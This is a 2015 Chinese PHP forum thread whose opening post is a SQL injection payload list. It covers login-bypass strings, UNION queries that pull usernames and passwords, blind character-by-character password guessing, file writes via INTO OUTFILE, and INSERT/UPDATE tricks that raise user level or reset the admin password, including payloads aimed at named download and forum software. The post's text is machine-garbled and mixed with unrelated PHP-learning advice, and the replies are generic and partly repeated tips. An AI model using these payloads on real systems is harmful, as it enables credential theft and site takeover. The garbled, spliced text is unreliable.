若天明 发表于 2015-2-4 00:09:57

PHP编程:php打针库

不过还好,PHP语言给出的语法错误很详细,只要稍微熟悉一点之后,看错误提示就能很容易找出错误所在的。PHP还有一个特别好用的调试功能,在PHP语句中,你可以随时用echo来输出结果。   
' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111(ord函数很好用,可以前往整形的)
' and LENGTH(password)='6(探测暗码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………顺次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可所以1或=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version()(天真使用查询)
经常使用查询测试语句,
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
例如:夜猫下载体系1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (交换,寻觅暗码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一名暗码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50(第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………
例如2:灰色轨迹 变换id停止测试(meteor)
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
机关语句:
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate (查沙子的id)
(SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和数据库不异情形下,可直接提交)
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……(分歧的情形下)
特别技能:在表单,搜刮引擎等中央写:
“___”
“.__ ”
“%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
$command = "dir c:\";system($command);
SELECT * FROM article WHERE articleid='$id'
SELECT * FROM article WHERE articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变成
(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句模式:创立一个库,拔出:
CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, 'swap', 'mypass');

插如一个注册用户:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'";
UPDATE membres SET password='',nom='',userlevel='3',email=' ' WHERE id=''
"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";
长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
好比:
UPDATE article SET title=$title WHERE articleid=1 对应函数
UPDATE article SET title=DATABASE() WHERE id=1
#把以后数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把以后 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把以后 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把以后 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把以后会话被验证婚配的用户名更新到title字段
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
SELECT * FROM table WHERE msg LIKE '%hop'
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

不懂的问题有很多高手帮你解决。但不要认为你是新手,就不能帮助别人,比如今天你学会了怎样安装PHP,明天还可能有朋友会问这个问题,你就可以给他解答,不要认为这是浪费时间,忙别人其实就是帮助自己。

小魔女 发表于 2015-2-4 09:44:53

环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。

若相依 发表于 2015-2-9 21:37:37

找到的的资料很多都是在论坛里的,需要注册,所以我一般没到一个论坛都注册一个id,所有的id都注册成一样的,这样下次再进来的时候就不用重复注册啦。当然有些论坛的某些资料是需要的付费的。

深爱那片海 发表于 2015-2-16 09:20:55

爱上php,他也会爱上你。

乐观 发表于 2015-3-2 19:33:41

小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。

爱飞 发表于 2015-3-11 05:39:00

本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。

精灵巫婆 发表于 2015-3-17 21:10:36

说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。

因胸联盟 发表于 2015-3-23 21:47:14

有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。

冷月葬花魂 发表于 2015-3-26 19:48:51

多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。

小妖女 发表于 2015-3-29 15:00:37

有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。

不帅 发表于 2015-4-1 21:11:21

首先我是坚决反对新手上来就用框架的,因为对底层的东西一点都不了解,造成知识上的真空,会对以后的发展不利。我的观点上手了解下框架就好,代码还是手写。当然啦如果是位别的编程语言的高手的话,这个就另当别论啦。

飘飘悠悠 发表于 2015-4-6 09:04:34

最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。

灵魂腐蚀 发表于 2015-4-7 13:11:37

如果你已经到这种程度了,那么你已经可以做我的老师了。其实php也分很多的区域,

变相怪杰 发表于 2015-4-22 20:15:41

我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:

admin 发表于 2015-4-26 21:09:42

其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎

蒙在股里 发表于 2015-4-30 20:23:01

本文当是我的笔记啦,遇到的问题随时填充

老尸 发表于 2015-5-12 06:49:35

我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。

活着的死人 发表于 2015-6-4 17:28:24

说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。

小女巫 发表于 2015-6-21 07:24:59

多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。

再见西城 发表于 2015-6-24 22:11:54

多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。
页: [1] 2
查看完整版本: PHP编程:php打针库